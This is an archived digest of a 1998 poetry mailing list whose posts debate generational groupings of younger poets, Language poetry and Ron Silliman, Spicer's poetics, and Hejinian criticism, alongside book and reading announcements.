Frankly, though, I can't see myself as having these affinities. I might in ten or twenty years, but I'm not even sure there's people I went to high school with who I'd WANT to hang out with in twenty or thirty more years. Parodoxically, I think the grouplessness of young poets (if it exists) is as much a result of having MORE networks to meet poets, to talk about poetry with people, than there used to be. For that matter, there may just be more poets. There are more college poetry workshops and conferences (which are not all homogenizing. . .) which you can fly around the country to go to--which means you meet a lot of poets but they aren't necessarily the folk from your home town. Then there's the internet, which means you don't need a band of poets to make a publishing cell--you can just go on line and publish if all you want to see is that--yourself published. Don't need to ask for any favors. Don't need to grant any in return. Makes things remarkably fluid. Something lost? Sure. Lots. Not much security in group or place. (If there ever was). Something gained too though. I don't think I want to have a Community with a capital C--not the way most represent it (if it exists, or ever did, really). I like loose affinities, temporary convergences, listservs, strange attractors.

Still a member of the late capitalist cult of the individual,

Ted

↑ Index

322. Safdie Joseph
Re: Hejinian front channel
Thu 12 Nov 1998

Kathy Lou -- only because I didn't see it already, and only because I want to be invited to your new reading series, there's also a few pages by Marjorie Perloff in her _Writing Poetry in the Age of Media_ on "My Life" (in chapter 5) -- that might be easiest of all to find in the library near you.

I've been collocating -- in the manner of more academic lists -- the responses to my query on Spicer's stray remarks in "After Lorca" and will summarize them in a short post tomorrow. (Of course, the List, as is its wont, has since deconstructed the original inquiry and gone on to much more weighty considerations on the anxiety of being or not being included in current "groups" -- which is obviously what is "sticking to the real" in most people's minds here.)

If I were still running reading series, however, I would include in my invitation to Kent a demand that he share whatever he's been smoking lately. Really wonderful posts, Kent! All I can offer in return is a sneak peek at my new critique of Walter Benjamin's "Hashish in Marseilles" . . .

↑ Index

323. Randy Prunty
nude venutians
Thu 12 Nov 1998

ok so this post is not really about nude venutians but since I got your attention I would like to ask my question about Central Park magazine again. is it still in existence? if so, anyone have an address? Stephen-Paul Martin still the editor?

I'm stooping to such low measures because my first post a day or two ago drew no response and I can't believe that out of all the people on this list that no one is familar with the Central Park status.

As soon as someone clues me in, I promise to make up for this by posting some brilliant statement of ... let's see... the foregrinding of language in ...no, the spoken word v. the broken... no, well I'll say something incredibly worth it!

part of the youngish cleek from Atlanta
Randy

↑ Index

324. **Mark Weiss**
Re: nude venutians
Thu 12 Nov 1998

Stephen-Paul Martin tells me that Central Park is dormant at present, but he doesn't entirely rule out future activity. Certainly not in the near future.

At 12:18 AM 11/12/98 EST, you wrote:
>ok so this post is not really about nude venutians but since I got your
>attention I would like to ask my question about Central Park magazine again.
>is it still in existence? if so, anyone have an address? Stephen-Paul
Martin
>still the editor?
>
>I'm stooping to such low measures because my first post a day or two ago
drew
>no response and I can't believe that out of all the people on this list that
>no one is familar with the Central Park status.
>
>As soon as someone clues me in, I promise to make up for this by posting
some
>brilliant statement of ... let's see... the foregrinding of language in
...no,
>the spoken word v. the broken... no, well I'll say something incredibly worth
>it!
>
>part of the youngish cleek from Atlanta
>Randy
>
>

↑ Index

325. **Jim Bennett**
Re: After they've seen the Pah'ree Commune (iteee) - And a very very-very nice chap.
Thu 12 Nov 1998

-----Original Message-----
From: Kathy Lou Schultz <[redacted]>
To: [redacted] <[redacted]>
Date: 12 November 1998 02:45
Subject: Re: After they've seen the Pah'ree Commune (iteee)

> *Who says there are no recognizable groups of younger poets in the U.S.? San Francisco is a hotbed of activity of "younger" poets (are we talking under 45 here?). Also, what about NYC? Buffalo? LA? and anyone else I've forgotten to mention.*

Me? You forgot to mention me. I've been 45 for some time now. I sort of got stuck at 45 when I realised that people talk about under 45 and over 45, deftly avoiding the little group in the middle. I rather like being in this "Never-never Land" of my own design. It avoids the responsibility of having to be thrusting to achieve as a younger poet, and the weighty responsibility of maintaining a reputation into old age (46+).

So I define myself as a group, and as you all know 45 year old poets are really very very-very nice chaps, and as I will be in CA early in the new Year, and looking for gigs, (oops sorry venues where I can share my intellectual meandering with like minded nice people) I would be grateful for any back channel advice.

Thanks

Jim

A very very-very nice chap.Click on this link to vote for my site.
http://conline.net/vote.mv?id=1780

Click on this link to visit my site.
http://www.geocities.com/Athens/Academy/1127/

"Poetry is what the future makes of it." John Garner

↑ Index

326. Mark Salerno
Re: Mr. Feld, I presume
Thu 12 Nov 1998

Colleagues:

Ross Feld is the author of numerous works of prose fiction, as well as the outstanding book of poems from Jargon Society entitled PLUM POEMS (1972). A must read for this who claim to know what they are talking about.

P.S. Anyone kind enough to mail me a copy of Feld's piece in Parnassus will receive in return an Arshile #10 and my gratitude. Please backchannel.

Mark Salerno

↑ Index

327. Randy Prunty
Re: nude venutians that never landed in Central Park
Thu 12 Nov 1998

Ok, I received front and back channel info about Central Park. Bottom line for me is that they currently are not considering unsolicited work.

now to make up for my shameful ways, (using the word "nude" but not delivering) I will say something brilliant that will have listifarians talking about for years ...

.....the word "pate" is too emotionally provacative for any self- respecting experimentalist to use without diluting its fervor with irony.

Randy

↑ Index

328. Steven Clay
Publication party
Thu 12 Nov 1998

For those of you paying for your sins by being anywhere near Lower Manhattan on Friday the 13th please stop by Granary Books for a publication party for 10, count 'em,

TEN NEW BOOKS!

Charles Bernstein & Susan Bee. "Log Rhythms."

Steve Clay & Rodney Phillips. "A Secret Location on the Lower East Side: Adventures in Writing: A Sourcebook of Information." (Co-published with the New York Public Library).

Robert Creeley & Max Gimblett. "The Dogs of Auckland". (Published by the Holloway Press of Auckland, New Zealand).

Lyn Hejinian & Emilie Clark. "The Traveler and the Hill and the Hill."

Franz Kamin & Felix Furtwangler. "The Man Who Was Always Standing There."

Stefan Klima. "Artists Books: A Critical Survey of the Literature."

Bernadette Mayer. "Two Haloed Mourners."

Wendy Miller. "Everyday Colors."

David Rathman. "Roar Shocks."

The party is from 6 to 8 PM.

A great majority of those being published will be in attendance.

Granary Books is located at 568 Broadway (corner of Prince St., immediately across the street from the Soho Guggenheim) room 403.

See you,
Steve

↑ Index

329. Mark Wallace
fuming
Thu 12 Nov 1998

Hey there:

Well, I guess I've got to pitch in for Chris Stroffolino this time around, albeit it may be true that the tone Chris was after maybe didn't quite get over to the virtual page. But I suppose my problem is less with the idea of Charles, Ron and Lee Ann and whoever having an understanding of "community" but with the implication of Mark Prejsnar's statement that what Ron is looking further is a "further extension of the poetics and program of his generation, etc"--Mark, I'm quoting you badly here, not having the original in front of me, but I think that's the gist of what you said, and I think therein lies the problem. All of Ron's commentary (see for instance the recent Philly Talks exchange, for instance) always returns to the same problem--that the model that he and others followed has NOT be taken up by the writers who came after, and that somehow that is a grave failing. Now, I like Ron's poetry and much of his criticism a great deal, but the idea that his work should be the model for future generations of poets (and that any who don't follow his model have failed) seems presumtuous to say the least, and may I venture to say so, the sort of Marxist paternalism that at this point in time seems one of the great weaknesses of the "language poetry" project as Ron has conceived of it (and I'll add, by the way, that other "language poets" have NOT necessarily so conceived of it, that is to say, Ron's sense of what "language poetry" was about by no means needs to be taken as everybody's sense of what it was about). I appreciate Ron's ability to serve as a useful goad, and will even concede that goading is a pretty important function of criticism, although in this instance the "conformity or punishment" implications seem to me the problem rather than the solution. But indeed, it is true, recent work has NOT "further extended the poetics of Ron Silliman." But that fact seems to me at this point STILL a positive development--while at the same time I admire Ron's poetry.

So Chris, rave on baby.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

330. charles alexander
if you're in Tucson, come over
Thu 12 Nov 1998

CHAX PRESS is hosting a reception/celebration for the publication of LISA COOPER's first full-length book of poetry

& CALLING IT HOME

at Chax Press Studio
Saturday, Nov. 14, from 2-6pm

Chax Press is at 101 W. Sixth St. in Tucson, and that is on Sixth St., about 2 blocks west of Stone Avenue, on the south side of the street. Entry to the studio is on the west side of the building.

Refreshments will be available

Books will definitely be available.

The book is also for sale at Antigone Books on 4th Ave. in Tucson, and from SPD.

Retail price is $12

You may order directly from
Chax Press
101 W. Sixth St., no. 6
Tucson, AZ 85701-1000

Other Chax Press books, like the equally new CHROMATIC DEFACEMENT, by Phillip Foss, will also be available at the reception. Two earlier chapbooks by Lisa Cooper, THE BALLAD IN MEMORY and TILT RAIL, will be available, too.

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331. Michael Magee
question - Alfred Leslie
Thu 12 Nov 1998

Could anyone familiar with Alfred Leslie backchannel me? I have a question about a biographical detail rather than his paintings. Thanks.

-m.

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332. Melanie Bookout
Re: After they've seen the Pah'ree Commune (iteee)
Thu 12 Nov 1998

I would add New Orleans, too.

Melanie Bookout

At 06:44 PM 11/11/98 -0800, you wrote:
>Who says there are no recognizable groups of younger poets in the U.S.?
>San Francisco is a hotbed of activity of "younger" poets (are we talking
>under 45 here?). Also, what about NYC? Buffalo? LA? and anyone else I've
>forgotten to mention.
>Many magazines and presses in SF are generating a lot of interest and
>energy, e.g. Double Lucy/Outlet, Tripwire, Idiom, my own Lipstick
>Eleven, etc. and etc. "Group," I recognize thee!
>Kathy Lou
>
>

↑ Index

333. Henry Gould
are you poet of the problem?
Thu 12 Nov 1998

Poesia is found at the confluence of two streams, one originating in the study and the other in the dance-hall. In the Middle Ages the center of feudalism, where this confluence was ultimately "authorized", was the Latin Mass inside the church and the Mystery Plays - the popular version - outside, in the walled town.

Now we live in the Modern Age, and the closed feudal cosmic order is gone, and the "missing mass" occupies a divided center, a political controversy between the working class and property, between the dispossessed and the "possessed". The terms of order to be established between democracy and property (since aristocracy is out the door) has been the central political issue since 1989, at least in the "developed" world, and are being worked out in different ways in Russia, China, Europe, Latin America, North America. The possibility that these terms might ultimately be subsumed under idealist, religious, traditional or spiritual meanings does not displace the fact that the political question or crisis is at the center of world realities.

So where is the confluence of Poesia now in relation to this political matrix? Many are those who would overlay or equate the seeming "uselessness" of Poesia with political marginality; Poesia's hermeticism then becomes a mark of both political and artistic authenticity. Many also are those philistines who would attack Poesia's right to be itself, who take the medieval maxim that Poesia is a branch of rhetoric in an obtuse sense, and look for the obvious allegiances or sentiments that will teach them where to stand. They ought to have learned from their peasant forebears that dancing is a subtle art and laughter comes at an acute angle.

Poesia has never been marginal; as Signor Wallace Stevens wrote somewhere, reality is essentially poetic, Poesia tries to express some affluence, some scent, of the essential poetry of life, even money has a certain poetry, lyricism is inherent in a child's walking... yet to answer those whose bread is power and whose question for Poesia is, where is your power - look to the subtle rhetoric of those who would address the question of the missing mass - who look to the Mardi Gras of Jubilee, the just apportionment and stewardship of commonwealth. And in the Babel of groups and allegiances in the discourse of the discoursers, Poesia may be outside all the outsides, in a tongue you understand, but barely.

- Signor Henry Gould

↑ Index

334. Michael Franco
KENWARD ELMSLIE READING AT MIT 11-12-98
Thu 12 Nov 1998

Kenward Elmslie reads & sings Nov 12th 7pm
Bartos Theater MIT [20 Ames st. near Kend. Sq T]
FREE

best to all
MF

↑ Index

335. MAYHEW
Re: are you poet of the problem?
Thu 12 Nov 1998

Spare us the mixed metaphors, the Wallace Stevensese, and the canned history. The middle ages was also Dante, the Troubadors, the medieval epic, etc... I don't know what the dance hall has to do with any of this.

Jonathan

↑ Index

336. Maria Damon (Maria Damon)
Re: hannah, community, generation
Thu 12 Nov 1998

---

that was from we speak silent, i think. or silent teachers/remembered sequel; an epigraph to the poem FE, (if memory serves?)

At 2:19 PM 11/11/98, Tom Orange wrote:
>near the end of charles' presentation, he read and commented on a line
>from hannah's work that spoke to the relation of a poetics to the "new" or
>"next generation." i failed to note the exact wording or the source
>-- charles do you have these handy?
>
>thanks,
>
>t.
>[redacted]

↑ Index

337. Gabriel Gudding
Re: Free reading=Interview
Thu 12 Nov 1998

Dear Kent: I am forwarding your note to those on the hiring committee, just so they can see how eager you are, how earnest, how much you care -- how much, indeed, you want to help us.

Let me be, furthermore, the first to tell you that _you don't need an agent_: you pocket that money, spend it on yourself, rest those wax wings and take a jet-plane somewhere pretty, 'mano.

They will I'm sure contact you no need to worry, no need to have me your trusty compadre secure you the much coveted backstage entrance no. No sir once they read your note they'll be rattling your fax machine yes sir.

With you in cahoots,

Gaga

↑ Index

338. **groberts**
Re: After they've seen the Pah'ree Commune (iteee)
Thu 12 Nov 1998

They survey them

New Names Green River
Creek Basin Cow Ridge
River Formation
Long
Lake

Lake Long Point Bed
Anvil Points, Garden Gulch
Mountain
Points
Creek Members

↑ Index

339. **Jacques Debrot**
Re: Silliman et. al.
Thu 12 Nov 1998

Just briefly, I'd like to concur with Mark's comments & add that it would certainly be a defect of Silliman's work, & of LangPo generally, if it didn't permit interpretations & imaginative rereadings other than those Silliman himself authorizes. Secondly, the intense commitment of the Language poets to the idea of community was formed partly in reaction to a polarized literary enviornment that no longer exists today after the decline of the New Criticism. In fact, the hostility of LangPo's reception still conceals its deep indebtedness to the New American Poetry -- for example, Silliman's own indebtedness to the present moment "I do this, I do that" poem -- & as a result places impossible demands on emerging poets to be innovative in a way that the Language Writer's themselves never were.

--j

↑ Index

340. **Leonard Brink**
Unrecognizable poetry groups
Thu 12 Nov 1998

There's no recognizable group of poets, young or old, here and so without objection I appoint myself herewith and hereby the Godfather of the Silicon Valley poetry Mafia. Anyone living in Santa Clara County who wants to do poetry had

better "wet my beak" by submitting some poems or I'll have to send someone out to break their kneecaps.

John Galt

↑ Index

341. Michael Magee

Re: After they've seen the Pah'ree Commune (iteee)

Thu 12 Nov 1998

According to Charles Alexander:
>
>I'd rather read about what distinguishes these groups -- what
>makes each of them a group, how do they perceive themselves as
>significantly different from other groups, what constitutes their range
>of concerns as a group, etc.
>
> charles
>
>

Yes, absolutely, but there's no magic document(s) which might serve as touchstones, - no "Projective Verse," no "The New Sentence," - in part b/c of a skepticism among many younger poets regarding such documents - there are however conversations going on - in and out of print - between groups of younger writers in the various venues mentioned and these conversations do provide some answers to your questions. It's just that, there's a lot of work involved in following all these conversations closely enough to locate commonalities with which one might draw lines of progression, articulate "schools" - all the things by which canonicities are determined (and I'm not putting any value on such determinations per se). I've tried to make some statements which talk generally about "younger poets" in PhillyTalks 6 and in the editors note to COMBO 1. Others have obviously done more than me. But, not to put too dramatic a point on it, I think the various communities of younger poets I'm in contact with - Philly, NYC, Boston, a few West Coast folks - are at this point liminal communities "betwixt and between all fixed points of classification...not institutionalized or preordained" as Victor Turner would say. No wonder then that our usual ways of thinking about poetry, and even thinking about *groups of poets*, just don't function very well as axioms of the new, the good, the interesting, the revolutionary, etc. So, I would say, all of us should just keep paying attention, I have a lot of faith that clear articulations will surface, though of course they'll all be lies as they've always been, and, to me, won't be as interesting as what's happening now. -m.

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342. **dbkk**
click click
Thu 12 Nov 1998

Since the list has moved onto cliquishness (and I'm not sure I do know how to spell that word) . . . I do wish I had the rose-colored glasses of Kathy Lou, my life would be happier. But, I do think that the recent renaissance of publishing by younger writers in the SF Bay Area is very exciting. One of the unofficial projects of Small Press Traffic since I took it over was to create bridges between various communities--between the more established writers and the younger writers, between those who went to SF State, New College, Berkeley, etc.--to allow a space where a larger more fluid community could come together. For instance, just a few years ago, one hardly ever saw a younger poet at older poets' parties, but now the younger poets are in, everybody wants them around--and everybody wants to read with them. Sometimes it's hard for me to keep up with the demand of older poets wanting younger poets to read with. This is great--and I think the energy has been productive in both directions. All this new publishing activity--and there's more Kathy Lou mentioned--is great too. It shows a strong, healthy community that's existing outside any specific institution, such as a creative writing department. So many people graduate from these programs and drop off the face of the earth. It's vital to have some place for people to go after they get out of school--or to go instead of graduate school.

However, as much as people complain about hierarchies, I think they crave them. And when one goes against that, when one refuses to act like the Queen of Sheeba, people will project unimportance on one.

On another issue--got together with a friend from New York last night, a very political writer and she was rather disturbed about a conference at Columbia on women's avant-garde writing. She said the people who'd been invited are Lyn Hejinian, Barbara Guest, Jorie Graham, and Majorie Perloff--all priviledged, well-to-do white women, as she saw it. Is this the case?

Dodie Bellamy

↑ Index

343. **henry gould**
Re: are you poet of the problem?
Thu 12 Nov 1998

On Thu, 12 Nov 1998 10:24:31 -0600 MAYHEW said:
>Spare us the mixed metaphors, the Wallace Stevensese, and the canned

>history. The middle ages was also Dante, the Troubadors, the medieval
>epic, etc... I don't know what the dance hall has to do with any of this.
>
Dante, the troubadours & the medieval epic all came out of the dance hall,
if you really want to know. - HG

↑ Index

344. **miekal and**
Re: hw yet to appear
Thu 12 Nov 1998

Billy Little wrote:
>
> >
> >also if anyone has an idea how to produce a deck of nine (I believe)
> >round cards, xexoxial would love to copublish it...
> >
> >
> >miekal
>
> could they be icing on cookies and eaten

If you like the taste of toner.

Epicureography?

Miekal

-The Internalational Dictionary of Neologisms-
[glossary of neologisms collected around the network since 1985, submit yours....]
http://www.net22.com/neologisms/

↑ Index

345. **Aldon Nielsen**
Mr. Feld, I presume
Thu 12 Nov 1998

Harking back to a previous discussion, I could swear that the panel on Spicer I remember from a Chicago MLA conference more than a decade ago included the same Mr. Feld, who was just about as enlightening on that occasion --

↑ Index

346. **Billy Little**
Re: hw yet to appear
Thu 12 Nov 1998

> *also if anyone has an idea how to produce a deck of nine (I believe) round cards, xexoxial would love to copublish it...*
>
> *miekal*

could they be icing on cookies and eaten

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

347. **Hannah J Sassaman**
CrossConnect Release
Thu 12 Nov 1998

<----------x
C r o s s C o n n e c t WEB #11
x---------->

http://ccat.sas.upenn.edu/xconnect

Volume 4, Issue #2 is now available
<----------x-c-o-n-n-e-c-t---------->

Poetry, Fiction, Creative Nonfiction and Artwork
x----------><----------X

features include: Linh Dinh, a selection from
Drunkard Boxing (Singing Horse Press), and Debra
Correnti's short story "Civil Service."-- along with
new work by Fred Wah, Ron Silliman, Andrew Levy,
Rebekah Grossman, Mike Magee, Lisa Baker, Walter Keady,
Marek Lugowski, John Parras, Dennis Aufiery and more...

C r o s s C o n n e c t
Literary Review

http://ccat.sas.upenn.edu/xconnect

email for guidelines: [redacted]
open submission period NOW, for our Spring Issue

#12, March/April '99

<----------x---------->

CrossConnect is published in association with the

K e l l y W r i t e r s H o u s e
University of Pennsylvania

****

Hannah Jane Sassaman
Assistant Editor, CrossConnect
Sophomore, University of Pennsylvania
Majors in Theatre Arts and English

School Address:
4009 Pine St.
Philadelphia, PA 19104

Home Address:
42 Framingham Lane
Pittsford, NY 14534

Talk not of wasted affection; affection never was wasted.
-- Henry Wadsworth Longfellow

My father warned me about men and booze, but he never mentioned a word about women and cocaine.

-- Tallulah Bankhead

↑ Index

348. **Mark W Scroggins**
Re: And yet more on Hejinian . . .
Thu 12 Nov 1998

Always get in touch with Sun & Moon directly when you're teaching My Life--I've been given this runaround by pointy-headed campus bookstores several times now, and every time it's turned out the book is alive, well, & available.

Mark Scroggins

↑ Index

349. **Mark W Scroggins**
new publications...
Thu 12 Nov 1998

Oh yeah, and lest I forget, since we're supposed to be announcing these things:

University of Alabama Press has just published my (way too) big critical study, _Louis Zukofsky and the Poetry of Knowledge_. I'm pretty diffident about what's inside, but the cover design's worth the price of the book! Hank Lazer should be announcing some sort of special deal for this volume and others in Alabama's new "Modern and Contemporary Poetics" series for list members in the near future.

Mark Scroggins

↑ Index

350. Aldon Nielsen
third time's the charm
Thu 12 Nov 1998

---

and on the continuing bibliography of Hejinian critique --

last weekend I chaired the panel on poetry and poetics at the annual PAMLA conference (held at Claremont this year) -- Jeff Grey read from his work on Nathaniel Mackey (which will appear in the forthcoming CALLALOO special number on Mackey); George economou read from the poetry of Armand Schwerner (Armand had been scheduled to speak on the panel, but was unable to attend due to illness);

And Ann-Marie Mikkelsen, a graduate student at U of Claifornia, Irvine, gave a quite good talk on Lyn Hejinian, "Lyn Hejinian's Poetics of 'Landscape' and the New World of Poetry."

Mikkelsen will chair next year's panel,,, the conference will be in Portland,,,, watch for the call for papers in early Spring --

↑ Index

351. Aldon Nielsen
Re: Mr. Feld, I presume
Thu 12 Nov 1998

>Date: Thu, 12 Nov 1998 13:09:36 -0800
>To: [redacted]
>From: Aldon Nielsen <[redacted]>
>Subject: Re: Mr. Feld, I presume
>
>as did many another, I first learned of Mr. Feld by way of his prose volume titled _Only Shorter_. Despite the title's reliance upon one of the oldest jokes known to man, that book, and others that followed, gave every indication of being written by somebody who gave some thought to what he was writing -- whereas this recent essay and other critical writings over

the years seem to be written by somebody who thinks he knows what he's talking about -- almost invariably a dangerous sign --

↑ Index

352. Joe Amato/Kass Fleisher

and the winners are---

Thu 12 Nov 1998

---well i don't know, but the 2 november _publishers weekly_ lists the following as this year's "best books" of poetry (chosen by someone name of michael scharf):

last chance for the tarzan holler, by thylias moss (braziller)

hay, by paul muldoon (fsg)

mysteries of small houses, by alice notley (penguin)

from the devotions, by carl phillips (graywolf)

the bird catcher, by marie ponsot (knopf)

an anthology of new (american) poets, ed. lisa jarnot, leonard schwartz and chris stroffolino (talisman)

of course pw speaks to the business of publishing---to those who market, sell, and distribute books... anyway, there it is...

best,

joe

↑ Index

353. acgold01

And yet more on Hejinian . . .

Thu 12 Nov 1998

To: POETI --CMS

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]
Subject: And yet more on Hejinian . . .

Kathy Lou--Well, you've gotten all the stuff that I would have posted, but maybe I can save you (and others) some time by pointing out that Rosmarie Waldrop's piece on Lyn is in Temblor # 10, not Poetics # 5. When I teach LH, I find her own essays very useful: not just "The Rejection of Closure," which I guess pretty much everyone (here) knows, but also:

"The Person and Description," Poetics Journal 9 (1991): 166-70.

"Strangeness," Poetics Journal 8 (1989): 32-45.

"Two Stein Talks," Temblor 3 (1986): 128-39. (The title echoed in a Stephen Ratcliffe piece on LH, "Two Hejinian Talks," Temblor 6 (1987): 141-47.)

"If Written Is Writing," in the Andrews/Bernstein LANGUAGE book.

To the other critical pieces already posted, I'd add

Peter Quartermain, "Syllable as Music: LH's Writing Is An Aid To Memory," Sagetrieb 11.3 (1992): 17-31.

John Shoptaw, "Hejinian Meditations: Lives of The Cell," Journal X 1.1 (1996): 57-83.

I think Marnie Parsons has some pp. on Lyn in Touch Monkeys: Nonsense Strategies for Reading Twentieth-Century Poetry (U of Toronto P, 1994).

And there's a very useful and pretty recent interview conducted by Larry McCaffery and Brian McHale; I wish I could remember or had a ref. for which of McCaffery's zillion books this is in, but it has some kind of obvious title or subtitle like "Conversations with Postmodern Writers." It also has a very thorough bibliography attached.

And and: there's also LH's part in the coauthored "Aesthetic Tendency and the Politics of Poetry: A Manifesto," Social Text 19/20 (1988): 261-75.

Say it ain't so that *My Life* can't be gotten. I'm supposed to be teaching it next semester too. Douglas! Help!!

Enough awready,

Alan

PS: I frontchanneled all this thinking it might be of interest to others on the list. If I'm wrong, apologiae.

↑ Index

354. KENT JOHNSON
Excuse me, Mark Scroggins
Thu 12 Nov 1998

On Nov. 12, Mark Scroggins said:

> *University of Alabama Press has just published my (way too) big critical study, _Louis Zukofsky and the Poetry of Knowledge_. I'm pretty diffident about what's inside, but the cover design's worth the price of the book!*

Uh, Mark, that is one of the oddest ways of promoting a book of one's own that I have ever seen. You are "diffident" about the contents?? Write back, good man, and tell us you think this is "a book full of fascinating insights that anyone with an interest in Zukofsky should not be without" or something like that.

By the way, I don't think there was ever any discussion at all on the List about another book anyone with an interest in Zukofsky should not be without: _Upper Limit Music_, a collection of essays on LZ ed. by Mark Scroggins himself and also published by Alabama. In fact, I feel compelled to say (I don't know why; I suppose I am simply moved by the moment to do so) that this book contains an essay written by me and which I don't feel diffident about at all. No, because it is an absolutely brilliant and original piece of work, my essay is, though not half as brilliant (seriously) as I am sure Mark's new book is.

Congrats, Mark!

Kent

↑ Index

355. Laura Mullen

Re: POETICS Digest - 10 Nov 1998 to 11 Nov 1998 (#1998-121)

Thu 12 Nov 1998

---

fuming & foaming:
the groupies--
continuing "the great work of His
generation."

Perhaps a list of younger poets
(hardly listless) & their prices?

Yrs. dearly

aiming--in the circle--to please

↑ Index

356. BETSY ANDREWS

Did anyone say "reification?" The revolution will, unfortunately, be canonized

Thu 12 Nov 1998

Let us for a moment ponder the problematics of "groupings": hegemony of a particular kind of poetics; rigidity of form, function and meaning that aforementioned hegemony entails; eventual lack of cross-fertilization between "groupings" that leads to deadening of aforementioned poetics and deadening of ears of those in particular grouping; fact that members of grouping end up talking

only to each other; and last but not least, the racism, classism, sexisms and all other isms that necessarily are a function of groupings in a society built upon racism, sexisms and classism. I think canons can be useful, but let's be real about what we're discussing. Mutual support is gorgeous. But if we write manifestos, god forbid we start taking them seriously. Here's a basic summary, named for a cozy little writer's colony in your large intestine. (Pub. in Wash. Rev., oct/nov 96, thanks Joe R.)

THE CRYPTS OF LIEBERKUHN
(Library of Congress, 9 april 96, National Poetry Month)

my idea of hell? monument and blossom
the train that gets you there that makes you nauseous orange carpet
pressed against all vaulted windows Capitol a postcard
lacking nerve we fall from poetry like head hairs off the anxious
rotunda from chthonian restroom pulls apart
5 ft the large intestine 20 ft the small
an almost-half-of-every-second pause in the beating heart
what supplies the face with blood but mask of exclamation
secrets hard nd soft like birdegg musselshell spiderweb honeycomb
behind these fleshy folds called lips ten thousand ruffians
in spit the alphabet's genesis vitamins multiple choice
the face that chews and swallows ethereal and toothed
is cutting ripping grinding pointed questions at the self
here's one: will you give me 30 of your seconds I'll draft a bloodmap
through my body heavens writ in slick and gristle half-moons valving
duodenum a lucky charm a couple of cups of piss rhythm involution
a digest its retractions sweet salt bitter sour stations of the cross
between the host and visitation between tongue and groove my supper
I came here for the wine and dip elastic clause that we call jaw
snaps like the devil I flush

anti-vanguardist, betsy

↑ Index

357. Mark Weiss
query
Thu 12 Nov 1998

Richard Elman was in the habit of sending unique copies of poems to friends and acquaintances. His estate has asked me to help gather these. Anyone who has any such please backchannel. I'd also be grateful for suggestions of other places to post this.

↑ Index

358. **Safdie Joseph**
A summary of what sticks
Thu 12 Nov 1998

Colleagues:

Because the Spicer remarks I quoted last week from _After Lorca_ have always been important to me, I was gratified to see a somewhat full discussion of some of them. First I'd like to say, with Dale, that all arguments of transparency/opaqueness are ultimately besides the point and it's the poetry itself that has to move us or not, by flying. Yes, of course! And yet . . . this is a poetics list, made up of people who like to think about such things. So first, the lines again (this time in their original prose):

"Words are what sticks to the real. We use them to push the real, to drag the real into the poem. They are what we hold on with, nothing else. They are as valuable in themselves as rope with nothing to be tied to. . . .

"I would like to point to the real, disclose it, to make a poem that has no sound in it but the pointing of a finger . . . to make things visible rather than to make pictures of them . . . not as an image or a picture but as something alive -- caught forever in the structure of words"

(No one mentioned this part of the quote -- the middle line here to me is HUGELY important and interesting to me).

Anyway, following were the "highlights" (as I saw them, of course):

-- Ron Silliman, responding to a comment of mine, said, somewhat mysteriously, that those first lines WERE a good definition of "langpo." -- Steve Shoemaker disagreed, and went on to say, among other things: "The Spicer lines here seem less concerned with the world-*constituting* dimension of language than with language as a kind of wrestling with a non-linguistic Other." (Later respondents disagreed with him). -- Mark Baker noted that I had broken the lines into verse (did that change their meaning, Mark?) and said that the easy and prevalent assumption today was that language was not transparent, but opaque. (Later respondents disagreed with him). -- In the first of several indefatigable posts mainly responding to Steve, Kent Johnson said 1) that Spicer had no one "poetics" (agreed, certainly), 2) that "the practice of Outside," to use Robin's title, meant that "the poetic act and vocation is outside of, and irrelevant to, theorization" (not sure about this) and that furthermore, 3) the Outside wasn't really "other" and wasn't really non-linguistic either and we were swimming in it and it was swimming in us (he actually said it a lot better than that, and later brought in the absolutely essential GHOSTLINESS in Spicer, and explained where it came from). (The question of which was more "real," words or stones, then arose and was perhaps the moment many people tuned out; Doctor

Johnson's kicking the stone was obliquely referred to. I've always preferred another story when this issue arises, the one in John Cage's _Silence_ about the Zen master Suzuki being at a philosophical conference about "reality", saying nothing for two days, and then answering the question "Dr. Suzuki, is this table real?" with "Of COURSE it's real!") -- Dan Zimmerman then referred to Robin's great essay directly, and made clear, with Kent (and Merleau-Ponty's _The Visible and the Invisible_, which Robin used extensively) that the Outside was in us and we were in it, and implied that if we didn't "feel" this we might want to reassess things, because Chronos is the psyche of the Universe (which is a fairly astonishing way to look at things, if you think about it). -- Ed Foster said that words were obviously more than what sticks to the real, thus seeming not to enter into the spirit of things. -- John Mayhew brought us back to Spicer's genuine desire to establish a more genuine connection between language and the real, however we thought about such issues as the signifier and the signified or the encrusted habits of everyday linguistic usage . . .

. . . which I really think is the point! That there IS a real (no matter how variously interpreted), that there IS language, that we could be doing worse things besides figuring out how to get that real into that language . . .

I'm sorry to have written such a long post here. I'll close with a nice quote from Walter Benjamin:

"To begin to solve the riddle of the ecstasy of trance, one ought to meditate on Ariadne's thread. What joy in the mere act of unrolling a ball of thread! And this joy is very deeply related to the joy of trance, as to that of creation. We go forward; but in so doing we not only discover the twists and turns of the cave, but also enjoy this pleasure of discovery against the background of the other, rhythmical bliss of unwinding the thread. The certainty of unrolling an artfully wound skein -- is that not the joy of all productivity, at least in prose?" (from Hashish in Marseilles)

↑ Index

359. **charssmith**

Re: and the winners are---

Thu 12 Nov 1998

---

2 out of 6 sounds like a healthy batting average to me -- cs

<< ---well i don't know, but the 2 november _publishers weekly_ lists the following as this year's "best books" of poetry (chosen by someone name of michael scharf):

last chance for the tarzan holler, by thylias moss (braziller)

hay, by paul muldoon (fsg)

mysteries of small houses, by alice notley (penguin)

from the devotions, by carl phillips (graywolf)

the bird catcher, by marie ponsot (knopf)

an anthology of new (american) poets, ed. lisa jarnot, leonard schwartz and chris stroffolino (talisman)

of course pw speaks to the business of publishing---to those who market, sell, and distribute books... anyway, there it is... >>

↑ Index

360. Aldon Nielsen
"*getting the real into words*"
Thu 12 Nov 1998

---

but doesn't this way of saying continue the separation??

there is something out there, it is not apart from language, language is not apart from "it", quotation marks are not apart from it -- words are material, are real, as real as the brick at the end of Dr. Johnson's foot, as real as the brick walking beside Dr. Johnson -- but isn't the very fact of reference , the very about of aboutness, a matter of speaking in relation, of uttering material language that is placed in a relationship of significance to all the other reality -- are there acts of language that "contain" reality? that have gotten the real into themselves, which would imply that there are words that have not got the real in them?

really?

